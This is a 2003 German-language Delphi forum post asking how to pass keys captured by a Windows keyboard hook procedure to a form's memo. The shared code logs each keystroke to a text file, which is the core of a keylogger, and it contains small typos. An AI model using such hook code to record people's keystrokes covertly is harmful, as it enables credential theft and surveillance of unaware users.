Einzelnen Beitrag anzeigen

Dichter

Registriert seit: 23. Apr 2003
5 Beiträge
 
Delphi 6 Personal
 
#7
  Alt 24. Apr 2003, 14:34
oki jetzt läufts einigermassen...
nur wenn ich jetzt das memo1 auf der form1 ansprechen will, also ein char oder halt wie bei dir im prog (was allerdings auskommentiert ist) :
Code:
 function KeyboardHookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
  stdcall;
var
  letter: Cardinal;
1begin
  case nCode < 0 of
    FALSE:
      if (lParam and $80000000) > 0 then
      begin
->     //letter := MapVirtualKey(wParam,3); <-
        //write2textfile(chr(letter));
        case wParam of
            $20, $30..$39, $41..$5A: write2textfile(chr(wParam));
          else
            if wParam <> $A then
            write2textfile(frmt(' #$%2.2X ', [pointer(wParam)]));
        end;
      end;
  end;
  Result := CallNextHookEx(KBHookHandle, nCode, wParam, lParam);
end;
ich könnt ja 'letter' an die form weitergeben und das dort mit mapvirtualkey() und chr() "auswerten" lassen, aber wie gebe ich nun diese variable an das prog weiter?
  Mit Zitat antworten Zitat